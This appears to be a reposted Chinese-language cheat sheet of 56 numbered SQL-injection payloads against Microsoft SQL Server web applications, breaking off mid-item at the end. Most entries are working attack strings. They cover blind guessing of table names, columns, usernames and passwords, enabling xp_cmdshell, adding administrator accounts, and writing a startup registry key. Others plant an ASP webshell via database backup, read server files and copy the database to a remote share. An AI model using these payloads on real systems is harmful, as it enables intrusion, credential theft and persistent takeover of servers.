1、返回的是連接的資料庫名and db_name()>02、作用是獲取連接用戶名and user>03、將資料庫備份到Web目錄下面;backup database 資料庫名 to disk="c:inetpubwwwroot1.db";--4、顯示SQL系統版本and 1=(select @@VERSION) 或and 1=convert(int,@@version)--5、判斷xp_cmdshell擴展存儲過程是否存在and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = "X" AND name ="xp_cmdshell")6、恢復xp_cmdshell擴展存儲的命令;exec master.dbo.sp_addextendedproc "xp_cmdshell","e:inetputwebxplog70.dll";--7、向啟動組中寫入命令行和執行程序;EXEC master.dbo.xp_regwrite "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftWindowsCurrentVersionRun","help1","REG_SZ","cmd.exe /c net user test ptlove /add"8、查看當前的資料庫名稱and 0 <> db_name(n) n改成0,1,2,3……就可以跨庫了 或and 1=convert(int,db_name())--9、不需xp_cmdshell支持在有注入漏洞的SQL伺服器上運行CMD命令(同第76)10、則把得到的數據內容全部備份到WEB目錄下;backup database 資料庫名 to disk="c:inetpubwwwrootsave.db"11、通過複製CMD創建UNICODE漏洞;exec master.dbo.xp_cmdshell "copy c:winntsystem32cmd.exe c:inetpubscrīptscmd.exe"12、遍歷系統的目錄結構,分析結果並發現WEB虛擬目錄先創建一個臨時表:temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--(1)利用xp_availablemedia來獲得當前所有驅動器,並存入temp表中 ;insert temp exec master.dbo.xp_availablemedia;--通過查詢temp的內容來獲得驅動器列表及相關信息(2)利用xp_subdirs獲得子目錄列表,並存入temp表中 ;insert into temp(id) exec master.dbo.xp_subdirs "c:";--(3)還可以利用xp_dirtree獲得所有子目錄的目錄樹結構,並寸入temp表中 ;insert into temp(id,num1) exec master.dbo.xp_dirtree "c:";-- (實驗成功)13、查看某個文件的內容,可以通過執行xp_cmdsell;insert into temp(id) exec master.dbo.xp_cmdshell "type c:webindex.asp";--14、將一個文本文件插入到一個臨時表中;bulk insert temp(id) from "c:inetpubwwwrootindex.asp"15、每完成一項瀏覽後,應刪除TEMP中的所有內容,刪除方法是:;delete from temp;--16、瀏覽TEMP表的方法是:and (select top 1 id from TestDB.dbo.temp)>0 假設TestDB是當前連接的資料庫名17、猜解所有資料庫名稱and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 dbid=6,7,8分別得到其它庫名18、猜解資料庫中用戶名表的名稱and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.asp工作正常,否則異常。如此循環,直到猜到系統帳號表的名稱。19、判斷是否是sysadmin許可權and 1=(SELECT IS_SRVROLEMEMBER("sysadmin"))20、判斷是否是SA用戶"sa"=(SELECT System_user)21、查看資料庫角色;use model--22、查看庫名and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)--23、獲得第一個用戶建立表的名稱and (select top 1 name from TestDB.dbo.sysobjects where xtype="U" and status>0 )>0 假設要獲得資料庫是TestDB.dbo24、獲得第二個用戶建立的表的名稱and (select top 1 name from TestDB.dbo.sysobjects where xtype="U" and status>0 and name not in("xyz"))>025、獲得第三個用戶建立的表的名稱and (select top 1 name from TestDB.dbo.sysobjects where xtype="U" and status>0 and name not in("xyz",""))>0 ""中為第二個用戶名26、獲得第四個用戶建立的表的名稱and (select top 1 name from TestDB.dbo.sysobjects where xtype="U" and status>0 and name not in("xyz","",""))>0 "",""中為第二,三個用戶名27、獲得表中記錄的條數and (select count(*) from 表名)<5 記錄條數小於5 或 <10 記錄條數小於10 ……等等28、測試許可權結構(mssql)and 1=(SELECT IS_SRVROLEMEMBER("sysadmin"));--and 1=(SELECT IS_SRVROLEMEMBER("serveradmin"));--and 1=(SELECT IS_SRVROLEMEMBER("setupadmin"));--and 1=(SELECT IS_SRVROLEMEMBER("securityadmin"));--and 1=(SELECT IS_SRVROLEMEMBER("diskadmin"));--and 1=(SELECT IS_SRVROLEMEMBER("bulkadmin"));--and 1=(SELECT IS_MEMBER("db_owner"));--29、 添加mssql和系統的帳戶;exec master.dbo.sp_addlogin username;--;exec master.dbo.sp_password null,username,password;--;exec master.dbo.sp_addsrvrolemember sysadmin username;--;exec master.dbo.xp_cmdshell "net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add";--;exec master.dbo.xp_cmdshell "net user username password /add";--;exec master.dbo.xp_cmdshell "net localgroup administrators username /add";--30、 簡潔的webshelluse modelcreate table cmd(str image);insert into cmd(str) values ("");backup database model to disk="g:wwwtestl.asp";請求的時候,像這樣子用:http://ip/l.asp?c=dir31、猜解欄位名稱猜解法:and (select count(欄位名) from 表名)>0 若「欄位名」存在,則返回正常讀取法:and (select top 1 col_name(object_id("表名"),1) from sysobjects)>0 把col_name(object_id("表名"),1)中的1依次換成2,3,4,5,6…就可得到所有的欄位名稱。32、 猜解用戶名與密碼ASCII碼逐字解碼法:基本的思路是先猜出欄位的長度,然後依次猜出每一位的值and (select top 1 len(username) from admin)=X(X=1,2,3,4,5,… n,假設:username為用戶名欄位的名稱,admin為表的名稱 若x為某一值i且abc.asp運行正常時,則i就是第一個用戶名的長度。and (select top 1 ascii(substring(username,m,1)) from admin)=n (m的值在上一步得到的用戶名長度之間,當m=1,2,3,…時猜測分別猜測第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統用戶帳號表的名稱),33、建立數據表;create table 表名 (列名1 數據類型,列名2 數據類型);--34、向表格中插入數據;insert into 表名 (列名1,列名2,……) values ("值1","值2"……);--35、更新記錄update 表名 set 列名1="值"…… where ……36、刪除記錄delete from 表名 where ……37、刪除資料庫表格drop table 表名38、將文本文件導入表使用"bulk insert"語法可以將一個文本文件插入到一個臨時表中。簡單地創建這個表:create table foo( line varchar(8000))然後執行bulk insert操作把文件中的數據插入到表中,如:bulk insert foo from "c:inetpubwwwrootprocess_login.asp"39、備份當前資料庫的命令:declare @a sysname;set @a=db_name();backup database @a to disk="你的IP你的共享目錄bak.dat" ,name="test";--40、使用sp_makewebtask處理過程的相關請求寫入URL; EXEC master..sp_makewebtask "\10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"41、將獲得SQLSERVER進程的當前工作目錄中的目錄列表Exec master..xp_cmdshell "dir"42、將提供伺服器上所有用戶的列表Exec master..xp_cmdshell "net user"43、讀註冊表存儲過程exec xp_regread HKEY_LOCAL_MACHINE,"SYSTEMCurrentControlSetServiceslanmanserverparameters", "nullsessionshares"44、xp_servicecontrol過程允許用戶啟動,停止,暫停和繼續服務exec master..xp_servicecontrol "start","schedule"exec master..xp_servicecontrol "start","server"45、顯示機器上有用的驅動器Xp_availablemedia46、允許獲得一個目錄樹Xp_dirtree47、提供進程的進程ID,終止此進程Xp_terminate_process48、恢復xp_cmdshellExec master.dbo.addextendedproc "xp_cmdshell","xplog70.dll"49、堵上cmdshell的SQL語句sp_dropextendedproc "xp_cmdshell"50、不需要XP_CMDSHLL直接添加系統帳號,對XPLOG70.DLL被刪很有效declare @shell int exec sp_oacreate "wscrīpt.shell",@shell output exec sp_oamethod @shell,"run",null,"c:winntsystem32cmd.exe /c net user gchn aaa /add"--51、在資料庫內添加一個hax用戶;exec sp_addlogin hax;--52、給hax設置密碼;exec master.dbo.sp_password null,username,password;--53、將hax添加到sysadmin組;exec master.dbo.sp_addsrvrolemember sysadmin hax;--54、(1)遍歷目錄;create table dirs(paths varchar(100), id int);insert dirs exec master.dbo.xp_dirtree "c:";and (select top 1 paths from dirs)>0;and (select top 1 paths from dirs where paths not in("上步得到的paths"))>)55、(2)遍歷目錄;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器;insert into temp(id) exec master.dbo.xp_subdirs "c:";-- 獲得子目錄列表;insert into temp(id,num1) exec master.dbo.xp_dirtree "c:";-- 獲得所有子目錄的目錄樹結構;insert into temp(id) exec master.dbo.xp_cmdshell "type c:webindex.asp";-- 查看文件的內容56、mssql中的存儲過程xp_regenumvalues 註冊表根鍵, 子鍵;exec xp_regenumvalues "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftWindowsCurrentVersionRun" 以多個記錄集方式返回所有鍵值xp_regread 根鍵,子鍵,鍵值名;exec xp_regread "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftWindowsCurrentVersion","CommonFilesDir" 返回制定鍵的值xp_regwrite 根鍵,子鍵, 值名, 值類型, 值值類型有2種REG_SZ 表示字元型,REG_DWORD 表示整型;exec xp_regwrite "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftWindowsCurrentVersion","TestValueName","reg_sz","hello" 寫入註冊表xp_regdeletevalue 根鍵,子鍵,值名exec xp_regdeletevalue "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftWindowsCurrentVersion","TestValueName" 刪除某個值xp_regdeletekey "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftWindowsCurrentVersionTes
推薦閱讀:

查看原文 >>
相关文章